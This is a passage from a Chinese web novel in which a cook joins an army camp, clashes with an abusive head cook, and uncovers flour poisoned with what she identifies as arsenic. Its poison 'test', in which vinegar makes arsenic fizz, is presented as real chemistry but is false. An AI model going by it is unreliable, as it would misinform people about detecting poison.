山贼,难道又是山贼。
腹语尚未道尽,那人影已从树丛中窜出。
“哪个不长眼的,坏了老子的好事,知不知道这是军事重地,连命都不想要了?”一位盔甲糙汉骑马而出,手上还把着弓箭。
“你知道,误了军演是死罪吗。”
“还是说,你是敌军派来的奸细,要来我们这儿讨情报?”男人的目光冰冷,又带有些野蛮,他从背后又抽出一根箭,架在弓上。
只需一拉一放,顷刻间便能要了自己的狗命。知微吓得向前一倒,慌忙道:“这位军爷,误会,误会!”
知微猛地在地上磕头:“小女子是迷路不小心闯来的,没有想耽误您的意思,求您放小的一条生路。”
怕眼前人不信,知微向后头指了指:“我就是从那边的山脚下来的,就在那
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儿!”
男人眯了眯眼,略过知微的解释,秉着可错杀不可放过的原则张弓。
“这位军爷!”知微盯着锐利的箭矢,吓得身子后仰。
命悬一刻间,山林震动,传来马踏声。
“吁——”江覃拉动缰绳,从后头闯出。
“明镜将军,且先住手。”知微对上救命恩人的视线,“这位姑娘不是奸细。”江覃回看知微,道。
知微总算是得救了,虽然她又陷入了另一个麻烦。
她无暇顾及头上磕破的伤口,头涔泪潸地直直伏在地上,机械般不断道谢。
祝隶稷的马跟在江覃的后头,见女人哭得惊心,不由得皱起眉头:“又是你。”
“少帅,您认识她?”李明镜敛起弓,好奇问道。
祝隶稷没有立刻回话,还是江覃抢过话头:“在岭南有过一面之缘。”
“这位娘子在当地也算颇有盛名,听说做的饭菜甚是可口,人也机灵,在岭南也少帅也破过一桩案。”江覃对知微的评价简略又不失肯定,三言两语便说尽几人的前缘。本就知微的性格听到这番赞美定是该窃喜憋笑,此刻则不然,仍是低垂着脑袋。
知微在几人的字里行间也算是懂得了自己的处境。原是挨着蜀郡的地界有人揭竿,朝廷遂派兵镇压。领兵的是祝隶稷,他打算先在蜀郡边境的林子观察形势一二,不巧被出逃的知微给撞见。
知微虽是埋头,一副恭顺样,内里却犯了嘀咕。她原以为这姓祝的也就是个官二代,哪成想还能领兵上阵。知微目光上移,祝隶稷骑在马上,身资挺拔,一副死人般淡漠的模样。
知微又偷觑了他好几眼,感慨此人不像个将军,身量虽高却不壮实,估摸着肌肉含量还没她高。咦,就他这细胳膊腿,也不知拿得住几杆红枪。
不过这话知微也只敢在心里说说,她想起上次临别前祝明煜唤自己给他当厨子,她当时还不屑一顾给人使脸色,现在风水轮流转,她有错在先,祝隶稷又是这干人里的头目,她可不敢得罪。
知微只好又开口道了些感谢的话,提到闯入山林打扰贵人实在是自己无处可去的下下之措,又编了些不容易的故事表明自己一介女流生如浮萍,期许求得些同情。
虽说是有些痴人说梦,知微在编故事时特地往凄惨了说,竟是存了些让众人怜惜后帮她走出困境——给些干粮并指明方向出林的念头。
结果是同情有,但不多。江覃开始听闻知微的境遇还面露怜悯,听到知微的恳求后又转了难色,场面一时尴尬不已。
还是李明镜破了局,他在一旁听完二人的交流,许是对知微有了些改观,面色缓了下来。
李明镜拽了拽缰绳,本想掉头,又像是想起了什么倏地止了动作。
“唉,少帅。”李明镜眼前一亮,“咱这回赶得急,咱神镜兵内不是还缺几个伙夫吗?这丫头说她无处可去,咱们也怕她出了这林子向人泄露我们的行踪。不若直接招她入伍,咱得个厨子,她得个庇护,一举两得啊!”
闻言,知微不禁抬头,勉强压抑住喜色,朝祝隶稷的方向探看。
祝隶稷垂眼,恰恰对上知微的视线。
片刻,他抬了抬肩臂:“可以啊。”
像是看透知微眼中的欣喜,祝隶稷偏头,颇具深意地笑了笑:“不过我有个条件。”
13. 霸凌
“什么条件?”知微压着怦然的心跳,问。
“你得展现出你的价值。”祝隶稷道,“听你方才所言,你还带了个姊妹,算下来得多两份干粮。可我这军营庙小,食物不宽裕,前途吧,也比不得开店,无奈养不起闲人。”
“所以小娘子,也只能委屈你一些了。最好一个人干上两个人的活,这样,你的存在才有那么些意义。”
“能做到的吧。”祝隶稷耸腰,轻描淡写道出这一番欠揍的话语,倒让人感到另一种后怕。
呵,怕是在报自己当日在岭南拒做私厨之仇呢。
知微无语到满头黑线。
小气。
心里是如此吐槽,为了生计仍得含笑。知微想起少昭,脑海又闪过和祝明煜分别时的承诺。
活下去,她得活下去。
乱世当前,人命如草芥,风一起便吹得找不着北,她又能做些什么呢。
知微扬眉抽了抽鼻,嘴角向上,灿烂如一朵用力过猛的柿子花。
“我当是什么要求呢,这是民女的本分啊。”知微跪拜着向前挪动,狠狠俯下身,“多谢恩公的收留!”
——
“阿姐,这便是我们今晚落塌的地方吗?”少昭躲在知微的身后,小心翼翼地避开闪着银光的兵械,“总感觉这里阴气很重,晚上不会遇见鬼吧……”天真的姑娘是第一次见军队的兵械,嘴上说着害怕眼睛却没停止过乱看,估摸是觉得新奇,嘴巴张得老大。
“把衣服换了吧,待会儿要去帮工。”
知微的反应平淡得多,递过刚从管事处领来的男士粗衣,换衣裳时不忘裹紧胸口。
此地说是兵器库实则也不过是一个堆着杂物的营帐。知微寻了块还算干净的地方摊开被褥,便也算正是有了个栖身之处。
想来也许该感到庆幸。
这兵械库灰虽大了些,却胜在清静。军营里没有女人,也就这块儿还能保有些隐私,江覃给两人安排了这个住所,倒也是真真算得上体贴。
知微拿帕子又擦拭了会儿身子,就连女士发髻也换了,若不留心倒还真有个男子相。
少昭尚在拾掇自己,知微拍了拍她的肩示意不必太着急,自己迈着步先去寻伙房。
李明镜倒是没有说错,伙房里的伙夫不多,专职膳食的加上知微两人也不过十余人。知微记得这军队有近千人,如此算来确是人手紧张。
不过又听说这军队的饮食以干粮为主,倒也省了蒸饭或煮粥的困扰。
知微撸起衣袖,身前还架着一只未洗的锅,她的手还没触到锅身,一个男子先夺了过去。
“新来的?”那男子长得魁梧,看着约莫而立之年,腿脚不太方便也不影响动作的麻利。男子端起锅的速度很快,见眼前人不过是个矮小身板,立马蹙起了眉。
“竹竿竿。”男子毫不掩饰目中嫌恶。
“就你这小身子板能做些啥事,他妈的,现在真是什么骚蛋都给老子搞来了……”男子还在骂嚷,四下无人敢驳斥,想必他便是这伙房里管事的那位。
“我姓张,这儿是我的地盘,懂?”张兴中挤开知微,啖出一口痰。
那口痰正正好砸在知微的手上,黏腻的黄色是一串厚重的鼻涕泡,浑浊不堪。
“你……”知微瞪大眼,怒气上头。
“操,小白脸还敢瞪老子是吧!”张兴中又拍了拍灶台,“日子不想过下去了?这里的工作可都是我来安排。”
“就你瘟鸡的体格,我再给你多安排一些差事,还能吃得消吗?”张兴中逼近知微,对上她那双透亮的眸,又玩味地伸出手掐了掐知微柔软的肌肤,“我说你怎么混进来的,不会是卖了屁股吧?”
“也是,女人嘛,不就那点能耐,还真能做出些什么事儿嘛。”张兴中压低声音,用只有知微能听清的猥笑道,“要不你跟了我,小爷也能保全你一口饭。”
手边的一口锅正在烧油,油气上浮,溢满知微的鼻腔。
横肉耷拉在流氓的面上,一起一落,挤出眼前人皮肤的褶皱。
知微抬手,张兴中发出一身刺鸣——
“你奶奶的,是不要命了吗?”张兴中捂住自己被热油灼得通红的蹄子,大呼小叫地寻水镇静。
“爷,这儿有水!”眼尖的跟班迅速在水瓮打上来一盆凉水,张兴中痛得龇牙咧嘴,“砰”的一下将手砸进盆中。
“你完了妮子,真完了。”青筋绷在脸上,张兴中提起另只手直指知微。
知微还站在原地,没放下手中的锅铲。
“嫌烫得不够啊。”她冷冷道。
“给脸不要脸!”
“你个贱人!”眼见危机将至,张兴中身边的跟班伸手,大力夺过知微手中的锅铲。
僵持之下,热油浇灌在灶台,滋出波波白气。
铲子终是被拨到地面。
跟班得逞着笑,扬起手就是一巴掌。
“啪!”响亮的一声,没收劲的一声,全乎落在知微面前的男人面上。
预想中的火辣没有到来,知微垂下自己的腕,眼前是一陌生男子。
男子长得人高马壮,又因生着一对笑涡多了分亲和。
“孙为,你给我让开!我今天非收拾了这妮子不可!”张兴中的手降了温,打算自己出了这口恶气。
孙为像是没听到张兴中的话语般,仍然挡在知微面前:“老张,你刚升了官,同我一般,都是疱正了。立威信无错,但不要忘了你前几日才因喝酒误事挨过骂,若是今天又闹出事情来,指不定会有其他责罚。”
“还有你,小邓。前日迟到误了工一事我还没找你讨个说法,怎么,现在脑子还迷糊着?”孙为的声线浑厚,穿透力极强,众人闻言竟也停了手上的动作。
“今天算你走运,有人护着你,下次再被我逮到准没好果子吃。”张兴中冲知微唾道,又望向孙为摇了摇头,“美色昏心。”
“都散了,都散了。”张兴中摆手,遣散看戏的众人。
——
营房外,知微涨红着脸,仍是一副心惊胆战的模样,缩作一团。孙为跟着她走出来,见知微魂不守舍又为她端了碗水。
知微像离了水濒死的鱼,喉咙早被烧干,囫囵灌下整碗水。
“现在知道后怕了?”瞧着知微逐渐回神的眼睛,孙为睨眼偷笑。
“敢和张兴中叫板的,莫说女子,男子我都没见过几个。”孙为瘪嘴,似乎是在回忆知微的“英姿”,却又笑出声来,“我还以为是女英雄呢,原来还是个作势的小姑娘。”
孙为指了指知微嘴角失禁的眼泪:“果真是一点都不经吓的。”
“你们男人就经得住吓吗?多少人
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上了战场还不是要屁滚尿流。”
“仗着有几分力气便欺负姑娘,都不是什么好东西。”知微打掉孙为的手指,顺势舔掉嘴边的眼泪。
“咸的?”孙为可不受知微言语的煽动,反而对眼泪的味道有些好奇。
知微狞眉,看了眼这奇怪的人:“酸的,比一瓶醋还酸!”
“你骗我。”
“你有病!”知微翻过白眼,她心情本便不好,如今更失了耐心,“眼泪什么味道你不知道吗,你是不是人啊,没哭过哈。”
要不让她拿颗洋葱榨点汁过来捂他脸上尝尝。
“男儿有泪不轻弹,对不起,还真没哭过哈。”见知微恢复了些精神,孙为的目的达成,点到为止不再调侃。
“方才老张的事,我替他和你道个歉。”孙为拉起坐在地上的知微,“军队里的男人嘛,嘴巴大多没个遮拦,可能说话粗俗了些,但他真不是个坏人。”
“老张早些年身子康健时,也曾跟着李将军走南闯北打江山,后来腿废了,人也颓了,又不愿意离开李将军,最后甘愿自降品阶当个伙夫。”
“他平生最恨的便是无能而居位者。”孙为说着说着便改了原本的轻佻,挺直腰板,神色中竟也多了几分景仰。
喉结上下一滚,似乎还有什么情绪滞在孙为胸口,然知微不得而知。
知微下意识紧了紧拳,动作被孙为捕捉到,他赶忙又解释补充道:“不过我可没有说你无能的意思。”
“知道。”知微抬肩,她倒也没有敏感到这种程度。
“我只是在想,你为何要帮我?”
帮她可没有丁点好处,反而还会被张兴中记上一笔,萍水相逢,知微也不相信孙为会是个不计回报的仗义侠客。
孙为没打马虎眼过去,他笑了笑,道:“因为你和我的一个故人很像。”
“故人?”知微复述。
“对,一个……故人。”
“你不是好奇我为什么帮你吗,因为你们很像。”孙为眯了眯眼,两侧的笑涡卷起,“不过人可比你漂亮得多,但和你一样都脾气不好,是个生来的黄脸婆。”
那可真是抱歉!知微腹语,亏得您仗义还救了我这个黄脸婆。
孙为还在说话。
“看到你我就想起了她,我总归……不愿看她受委屈。”孙为的耳根熟了半截,想来因为知微是陌生人,这才得以讲出内心的情话。
“所以你来此是为了……”知微敏锐捕捉到八卦。
孙为脸有些发红:“我来军队就是为了做出一番事业,如此,她的底气便也会多上几分吧。”孙为抠了抠后脑勺,“好像说得有些远了。”
知微点了点头,又摇了摇头:“无妨无妨。”
毕竟她也少年怀春过。
“总之我知你身为女子十分不易,今天这一闹将来势必更加辛劳。”
“我不怕辛劳。”知微撇嘴,扫了营帐一眼,“我只想告诉那些说我不行的人,我,非常行,比任何人都行!”
男子可做的她也可以,更何况她从来便是灶台的常胜将军。
“既然如此自信,我倒有个好主意能助你破了张兴中之局。”知微的自信带动孙为都不禁抬了抬眉。
他凑近知微的耳畔细语,表情微妙。
知微怔了一怔:“就这?”
14. 军粮之灾(一)
蜀郡不出意料地打了起来。
祝隶稷收到前线来的密报,是郡守的请求,说集结了一支八百人上下的民兵,盼祝隶稷也能派出一支精锐来里应外合,于森林击溃诱入的近万敌兵。
可眼下早已不是局部内乱的事情。在前线送报来的半柱香前,另一封密报自京城发出,说是前些天夜里太子杀了亲弟后围了皇帝的寝宫,意图逼迫久病的帝王退位。
至于太子如此急切的缘由,莫不过是听信了父亲意图废黜自己改立幼弟的风言,一国储君做到这个份上,倒也属实愚昧至极。
祝隶稷眼底闪过一丝阴鸷,老皇帝只有两子,如今一子死,一子犯了大逆,正是国家动荡、亟待洗牌之际。
想必不久后远在边境的父亲也将收到京中剧变的消息,待到身为皇帝幼弟的父亲还朝平乱,作为一个驻守边境的股肱之臣,一个挥洒血汗的铁血王爷,于情于理,这大昭也该改天换地。
如今只差一把火,祝隶稷想。
祝隶稷垂眸,手托住下颌,宽大的掌心掩住面容。
——帮还是不帮。
所有在军队里说得上话的人都在这儿了。
毕竟是赌上性命的事,加上民兵后,己方也不过千余人,而丛林深头尚是未知,若想以少胜多,再是饱经沙场的老将也不敢保证。
几步之外,一向作为军营智囊的江覃把玩着折扇尾端挂着的流苏,难得地默了声。
还是李明镜深吸一口气,向前迈步:“少帅,只要您一声令下,什么决定臣同神镜兵都愿追随着你。”
尽管李明镜同这位久居京都的少帅兼世子属实不甚熟络,可他坚信朝廷的决议,更甘愿臣服于镇国大将军,也是他恩人祝氏的血脉。
作为跟随祝老将军多年的得力干将,此番危机在前,他怎能有所畏惧。
李明镜双手化拳,言语掷地。
祝隶稷眼睫翻动,李明镜握拳的手隐约在烛火中微颤。
自家将军向前请命,众将领也是作揖示意,这支军队没有贪生怕死之徒,全是昭昭之心。
祝隶稷甚至都不需要出言煽动,领兵入林的事情便水到渠成。
江覃盯着桌几上的那封密信,分明是朱红写就的求救,却成了权利逐鹿的一枚棋。
少时他和祝隶稷两人在学堂时也免不得谈及军政:彼时年少,字里行间全是帷幄自得,可如今真枪实战来浴血,却又多了些茫然。
耗资如流水,人命似朝霞。皇城是吃人不见血,战场是马勒裹尸还。
若是江覃作主抉择,这个提议太险,细节安排也不够周到,他决计是难以同意,毕竟他不愿见己方人头落地,无辜牺牲。
可江覃不是祝隶稷,未曾以质子之名支身入局,也不曾离了双亲去淌皇权猜忌的死水。
有那么一瞬,江覃反有点庆幸自己站的是这个位置,不必敲板,自然也就少了可能的怪责。
江覃不知该怎么说,喉头涩了涩,只是稍低下身躲过祝隶稷征询的目光,沉声道:“请少帅成全李将军。”
像是早有预感,祝隶稷微不可查地勾了勾唇。
“既如此,那便定了。”祝隶稷的视线终于从那张端方好看的脸上移开。他自座位起身,抽出军铠侧腰处的剑,银光一闪,高举的剑尖劈开沉闷。
“给蜀郡郡守回信,本世子亲兵上阵,还蜀郡一个太平!”
黑云压城,凛风四起,将士们齐声高呼。长枪顿地,撼得营帐都倾斜三分。
壮烈中,有士卒自外而来,在李明镜耳畔低语。
……
“我嘞个豆!”李明镜声粗,下意识的开口引得众人注目。
祝隶稷也蹙眉望去。
“嗷!少帅,没什么的,不过是那群伙夫的事。”李明镜笑了笑,“之前不是新收了两个厨娘吗,张兴中不想要她们,姑娘就提出进行一场厨艺比试正名。”
晏知微果然是个祸害!不过张兴中是……祝隶稷侧身,江覃接过话头:“是从前便一直跟随祝将军的将士,和李将军是同乡旧识,后来因伤病从前线转了后备。”
江覃解释完又冲李明镜笑了笑,道:“若依将军所言,在这个关头能有这样一场比试倒也是及时,正好缓了这紧张的氛围。”
“军师和我想到一块去了!”李明镜拍了拍那壮实的肚腩,“张兴中自伤退后便一直闷闷不乐,如今好不容易有了些想做的事儿,我也正想瞧个新鲜!”
江覃与李明镜一唱一和,聊得倒是热火朝天。祝隶稷拧了拧眉,见江覃正偷摸朝自己使眼色。
罢了,随他去吧。他也懒得评晏知微这个祸害几句了。
左右是自己答应收的人。
祝隶稷正色,大手一挥道:“由着他们比吧。”
“既如此,我便叫弟兄们去收拾个场地出来。”李明镜得了令也是喜上眉梢,招呼着几个近卫出了营帐。
军帐内,只剩祝隶稷与江覃面面相觑。
“满意了。”祝隶稷淡淡道。
“不过是一个小民的打闹,竟也能惹得你的美言。”江覃心善祝隶稷向来知晓,可这些日子他无来由的心善属实过多,倒有些失了他从前的风范。
因为那女人?还是因为,祝明煜。
祝隶稷的神色沉上几分,却没有多言心中的猜测,可江覃又怎会不知。
江覃向前一步,略微弯下腰行拱手礼,露出皎洁的齿:“我是为张兴中的赤胆所动容,早前有听过将士耳语,张兴中把一生都献给了将军,献给了家国。”
“昔日夫子所教,一个军队的统帅甚至是一国的帝君都离不开大人口中小民的支持,知民心者得民心,谅民意者得天下。”
“我想他说的莫过于此。”江覃道。
祝隶稷懂了江覃话中的意思,扶起江覃,评价:“你比我懂御人。”
“……”
有风穿进江覃的里衣,寒得他牙颤。
江覃默了默。祝隶稷仍盯着他,淡淡的视线,同他说话时一般,难察觉出情绪。
江覃露出皎洁的齿,唇边又染上几分苦涩:“大人难道忘了,臣也不过出身市井,母亲更是低下的娼妓。”
“不过是耳濡目染,多了些体谅罢了。”江覃笑了笑。
祝隶稷不说话了。
——
知微站在大营的前方,看热闹的人潮越织越密,还引来了些高级将领。少昭穿的是套男装,毫无违和地站在知微身侧,她讶异于这样的场面,嘴巴张得老开。
知微与张兴中的比拼是公开的,大大方方地在炊事营正前方支了两个位置,便算各
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自的灶台了。两日过后,两人要同时拿出成品一决胜负。
“阿姐,这么多人呢,你真有信心能够获胜?”少昭没见过知微掌厨的样子,更没有见过岭南的知微,是以此刻比起紧张,更多是一种未知。
“且看着吧。”知微提起发簪,随手挽了个球。
她手上的活很多,眼神不时瞥过夹在人群中看热闹的孙为。
比拼是孙为提出的建议,张兴中是军营的老人,影响力大,若是声势浩荡地比上一场,不论输赢,只要知微最终做出的成品不差,便多少能改变当下的处境,堂堂正正做工。
只是孙为属实不了解知微与张兴中的水平差。知微前世今生都是实实在在地精进厨艺,而张兴中不过是个兵转厨的半吊子,素日活得粗糙,舌头也不敏感。知微没有理由会输,她的字典里更没有输。
“以改进军营常吃的干粮饼为题,限时两天进行比拼,成品匿名,最终结果交由全体将士进行评判,你觉得如何?”
“自是可以。”知微眼都没眨一下,心底只有对胜利的渴望。
想到这,知微的脑海又闪过张兴中自信的笑,好胜心驱使着知微心跳的频率都渐长,她的脚跟抬起又放下,全然跃跃欲试。
要想改善干粮饼的可口度,从口味上讲是要改变单一的调料与干巴的口感,从营养上讲,最好还能加上些其他成分。
知微左手托住下颚,不断构思着新做法的尝试。少昭站在她身旁,伸手想解开面粉袋上的绳索,一时没控好力度,意外泼洒了小半袋在地上。
“阿姐,我没注意……”少昭脸一下红了,有些跳脚,“我把面粉袋放远些。”
少昭侧过身子,又被放在地上还没来得及归置的厨具绊倒。
片刻的功夫,灶台附近粉尘飞扬。像是在贴着呼吸道搔痒,知微前一秒还沉浸在构思的世界,一下秒眼睛都被糊得睁不开。
现场最先有人注意到知微的窘态,率先大笑起来。很是熟悉的声音,知微蘸水后抹开眼,恰巧和一切的“罪魁祸首”对视。
“阿姐,对不起,我是不是又搞砸了?”少昭扯着上衣,不敢抬头。
知微的嘴角抽搐着,凭空多了项清理灶台的杂事,身边也没有可靠的帮工。她眼看张兴中的帮厨打下手的那叫一个默契,自己身旁只是则是杵了个装饰用的“稻草人”,知微想要咆哮,又不得不克制。
“哈哈哈哈!”对面的孙为还在笑,他的笑涡越咧越大,膈应到知微的心坎。
知微的眉毛拧成“八”字,又突然舒展开来。
“少昭。”
“你想不想助阿姐一臂之力。”
知微手头攥着的菜刀与菜板磨出些许钝声:“你来帮阿姐一个忙吧,只有你能做到的!”
“什么事情!”
“一件,非常重要的事情。”
知微拢了拢头发:“离开灶台,然后,去找男人!”
“男人?”
“对,就是那个男人,让他带走你,不,你去带走他,你俩走得越远越好。”
远到她眼不见心不烦,远到她不寻找就别回来。
知微推着少昭,恨不得她离自己心爱的灶台越远越好,“好好照顾她。”知微拎住少昭衣服的后腰,一脸抛蟑螂的神色将她丢给孙为。
15. 军粮之灾(二)
“饶了我吧……”孙为没带过小孩,乍听见知微的话不由得肚子一紧,下腹隐隐作痛。
“就交给你了。”知微甩手扭身,潇洒得很。
只剩孙为与少昭两两相望。少昭按照知微的要求改了穿搭,换上军营分配来的衣物——棕灰色的外衣下是一层层叠着的补丁,针脚很粗,甚至还有些歪斜。怎么说呢,军队的男人果然是最糙的男人,但这衣服也有好处,一来可以放开干活,二来也省了些作为女生不必要的麻烦。
知微千叮万嘱过少昭要藏好自己的身份,少昭听话,将本就几近于无的胸裹得严实,她人又高挑,乍看之下谁都相信她是个“男人”。
孙为也只是稍微打量了少昭一眼,从今晨起他肚子便是间歇地痛,他以为是自己的问题,可问了身边好几号人,竟然和自己一样腹痛不止,孙为便也放心了下来。
他知道这疼不会持续太久了。
可眼下他没有办法。于是他只能捂着腚,瘸拐着朝少昭笑了笑,紧接着又是一阵肠鸣,实在兜不住了,孙为顾不得其他,像是和离弓的箭矢比赛,直直冲向了茅房。
——
营帐内,知微盯着手中灰白混杂的面粉,指尖捻了捻。
刚才少昭那一番助力毁了大半面粉,知微没有办法,只能先暂停在脑海中对干粮饼的改良,寻人问了粮草放置的地方重新取面粉。
她随手挑了个麻袋打开,想试探面粉有无发潮,手堪堪触及粉尘,便不由得皱紧眉头。
不对,手感不对。
知微掏出手仔细打量粉质。寻常麦粉是自然的麦黄色,眼前这堆却偏白,细细碎碎的白色粉末混杂其中,恰好是不仔细查看就难以发觉的微妙。
“啧。”知微低哼一声,想起这两天营地里此起彼伏的抱怨和茅厕前不绝于缕的队伍。起初只当是水土不服,或是干粮饼太糙刮了肠胃。可眼下这面粉……她的心沉了下去。
知微不动声色地取了一小撮可疑的面粉,用指尖搓开。那白粉末细腻得过分,果真不是麦粉应有的颗粒感。
知微抽了抽鼻子扇闻,分明无色无味,她却有了种熟悉的感觉。
砒霜?!
知微瞳孔一缩,后背瞬间沁出冷汗。这玩意儿她熟,岭南盐案里食物中毒生成的就是这个。如果是砒霜的话,症状可不就是腹泻、呕吐、头晕?全对上了!可话又说回来,为什么总是砒霜呢,难道没有其他更隐性的用物。
可又好在是砒霜,否则自己也未必能意识到。
“少昭。”知微踉跄一步,压着嗓子喊。
可没有人回应。知微这才想起少昭刚被自己支走了。
便只能靠自己了。知微眼神锐利地扫过四周。用于存储粮草的库房没人,倒是不远处的伙房里热气腾腾,几个壮实的伙夫正抡着大勺炒菜,他们神色如常,想来是从未发现过异样。
所以……是只有自己发现了,还是,只有自己敢发现?
知微不敢再深想。她深吸一口气,强迫自己镇定。
知微找了个破陶碗,倒上一点水,再小心翼翼地将那白色的粉尘浸入水中搅动。她又从库房找到了醋,倒了小半碗出来屏住呼吸,对着那碗自粉末进入后显得逐渐浑浊的水,滴了几滴醋进去。
“滋啦……”
微不可闻的气泡声响起,碗里浮起一层细密的泡沫,还带着点刺鼻的气味。
知微的心彻底凉透。
古人或许不知,可她上过学的,砒霜遇酸生热便会形成气泡。
果不其然,军中粮草被人动了手脚。下的砒霜剂量虽不致死,可长此以往,兵士腹泻脱力,上了战场也是活靶子。
恐惧窜上来,像一把火,烧得知微喉咙发干。
乱世!又是这吃人不吐骨头的乱世!岭南盐案差点冤死人,蜀郡晏家被灭门,如今连保家卫国的军粮也成了索命绳。她只想安稳做个菜,怎么就偏偏撞上这些破事。
但骂娘没用。知微攥紧了拳头,眼神变得坚定。这事太大,牵扯的事情太多,她捂不住,必须上报。
她抓起那碗“证据”,急匆匆就往外冲。刚冲出伙房门,就被一个高大的男人堵个正着。
知微抬眸,那人她见过——张兴中的跟班信徒之一,好像是老邓、老王还是老陈。
罢了,此刻这不是重点。知微稍稍低下身,想从他侧边绕过去,老邓却往同一方向动,又重新拦下知微。
“这么着急是干嘛去?小娘子,你脸都白了。”老邓抱着胳膊,腿微微点着地,眼神在她手里那碗浑浊泥汤上溜了一圈,语气带着惯有的轻视,“这又是捣鼓什么新鲜玩意儿?别净整些没用的花活,耽误了弟兄们的饭食,你的脸上可不会好看。”
知微心急如焚,懒得跟他废话:“让开!军粮有毒!我要见少帅!”
“有毒?”老邓像是听到了天大的笑话,嗤笑一声,脸上的横肉都抖了抖,“我说小娘子,你莫不是白日做梦?还是觉得靠这点危言耸听就能在伙房站稳脚跟?别是你这细皮嫩肉的,沾不得阳春水,也没什么本事,比拼不过疱正大人,只能出此下策干扰比试。”
“还是说,正因为你不清不楚进了伙房,所以看什么都和你一般脏?”老邓发出哄笑声,眼神里尽是嘲弄。
“这可是人命关天的事,我要是说了谎能独善其身。用你的猪脑子想想,我从中究竟是谋的利多还是受的害大?”知微火气不减,岭南市井里淬炼出的泼辣劲儿毫不掩饰,叉腰就怼了回去,“睁大你的狗眼看看!”
她猛地将碗举到老邓鼻子底下,“用你的牛鼻子闻闻,这是面粉遇水该有的味道吗?醋滴起泡,酸碱反应,这是砒霜!砒霜懂不懂?再耽误下去,全营将士都得腹痛不止。到时候敌人杀过来,你们在茅房是提裤子跑还是拿裤子挡?!”
知微的声音又尖又利,穿透力极强,老邓虽听不懂所谓的醋滴起泡,更不知晓酸碱反应,但他显然没料到眼前人反映竟如此激烈,为知微的愤怒给唬住了。
老邓被她怼得脸色铁青,尤其那句“猪脑子”让他额头青筋暴跳:“你!放肆!敢这么跟我
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说话?老子当年在战场上可是……”
“……总之我、我从四岁开始就不会尿裤子了!”
“我管你几岁尿裤子!”
哪怕你现在还穿开裆裤都不应该关我的事吧!!!
知微毫不客气地打断他,眼神像淬了火的刀子:“现在有毒的是这批新到的面粉,就在那堆麻袋里。你当年再威风,现在验不出毒也是白瞎,再拦着我,你就是帮凶!”知微一把推开碍事的眼前人。
——
帅帐外,守卫森严。
知微深吸一口气,对着拦路的兵士亮出碗:“少帅何在,紧急情况,军队的粮草被人下毒了。”
守卫狐疑地看着她手里那碗浑浊的泥汤,又看看追过来、脸色阴沉的老邓,犹豫着,没动。
“不是在说笑,十万火急的情况啊。”知微是真急了,声音拔得更高,“这碗里是砒霜!再磨蹭下去,少帅怪罪下来,你们担得起吗?!”
知微的声音穿透帐帘,话语尾声,军帐的帘子被掀开,江覃探出身:“何事喧哗,少帅正与诸将议事。”
知微眼见救星,二话不说,直接把碗怼到江覃面前:“江大人,军粮掺了砒霜,营里这几天的腹泻,全是这东西闹的!那批新面粉都有问题,必须立刻封存、追查来源。”
闻言,江覃脸色骤变,接碗的手都有些不稳。他仔细看了看碗里浑浊的水,又隔着段距离嗅了嗅弥漫出的刺鼻酸气,原本平淡的眼神颤了颤。
江覃二话没说,侧身让开:“进来详谈。”
——
帅帐内,祝隶稷正与李明镜等几位将领围在沙盘前,气氛凝重。
知微进了帐,他依旧是那副淡漠的死人脸,深潭般的眸子扫过她手里那碗不堪入目的“证据”,眉头几不可察地蹙了一下。
知微不敢废话,顶着数道审视的目光,几步冲到案几前,把碗呈给众人,又将发现、检验过程砒霜的过程以及自己的推断说了个清楚。
“……少帅,依民女看这绝非偶然。是有人存心在粮草里下毒!”知微一口气说完自己的结论,她的双手发颤,胸口剧烈起伏,脸颊因激动和奔跑泛着红晕,眼睛却亮得惊人,死死盯着祝隶稷。
帐内一片死寂。将领们看着那碗东西,脸色都极其难看。
祝隶稷的目光终于从沙盘移到知微脸上,那视线冰冷而极具压迫感,在她沾着面粉灰、因激动而泛红的脸上停留片刻,又落回那碗“证据”。祝隶稷伸出修长而干净的手,沾了点碗沿残留的浑浊液体捻,在所有人惊愕的目光中,将那指尖放到了鼻尖下仔细闻了许久。
知微胃里一阵翻涌,差点当场吐出来。这疯子,不怕毒、不嫌脏吗。
“传令。”祝隶稷的声音冰冷得不带一丝波澜,仿佛刚才那个嗅毒的人不是他,“即刻查封伙房、封锁粮仓,清点封存所有新运面粉。涉事人员及今日接触过新面粉的役夫要全部羁押。江覃立刻带人追查这批面粉的运输路径和经手人,李明镜,你派人加强营盘警戒,尤其水源要重点视察!”
16. 军粮之灾(三)
指令一条条下达,干脆利落。
危机处理完毕,知微紧绷的神经刚想放松,忽然对上祝隶稷再次投来的视线。那眼神淡漠,像是看蝼蚁,却带着一种居高临下的审视,仿佛在评估一件工具的价值。
“小娘子”李明镜在临去前杀了个回马枪,语气带有些谨慎,“面粉之毒,你如何能识破的?”
知微一愣,随即想起岭南盐案,当时差点要了刘掌柜命,也差点把自己搭进去。知微下意识看向祝隶稷,对方没有反应。知微抿了抿唇,不愿多提,只道:“岭南时见过,知道点皮毛。”
“皮毛?”祝隶稷嘴角勾起一丝极淡的弧度,像是嘲讽,又像是单纯的不信,“一眼便看出来面粉的不对劲,又知砒霜遇酸生泡,这等‘皮毛’,倒比军中老医官更精些。”
此话听着像夸奖,但配合他那语气和眼神,知微只觉得像被针扎。她梗着脖子:“民女不敢当,不过是碰巧知道罢了。”知微讨厌这种被当犯人审问的感觉,她分明立了功,祝隶稷却是一副不信任自己的提防态度,任谁都觉得无劲。
知微俯下身,别开眼,道:“少帅若疑心,尽管去查便是。”
祝隶稷没再追问。
只是他针扎的目光在知微倔强的脸上又停留了一瞬才移开。这时,有将领上前一步,抱拳道:“少帅,此事一出伙房的管事势必要先换人,但将士们不可断粮,弟兄们的饭食仍是需要专人负责安排……”
“是啊,这可是耽误不得的大事!”李明镜闻言,也是头顶冒汗,连声附和。
“这样。”祝隶稷的目光转向知微,带着不容置疑的命令:“伙房便暂由你负责调配去解决眼下膳食,此外,库房封存的面粉一粒也不许动。”
知微心里咯噔,仿有巨石砸肩。解决膳食?她拿什么解决?
伙房被封,新面粉有毒不能用,库存的只有那些硬得像石头、士兵们早就吃腻了的旧干粮饼。她还想趁热打铁,用改良的干粮饼在比试中狠狠打张兴中的脸,这下全泡汤了。
“少帅!”知微硬着头皮开口,“伙房封了,食材受限,这饭食……况且,今日午时,本该是我与张庖正的比试之期……”她仍是试图争取。
“比试?”
祝隶稷像是听到了什么无关紧要的笑话,眼神掠过她,落在沙盘上:“什么时候了,还惦记这些?”
轻飘飘的语气,无所谓的态度,瞬间点燃了知微的怒火。果真在他祝隶稷眼里,自己的努力和机会不过是如此不值一提的“这些”。
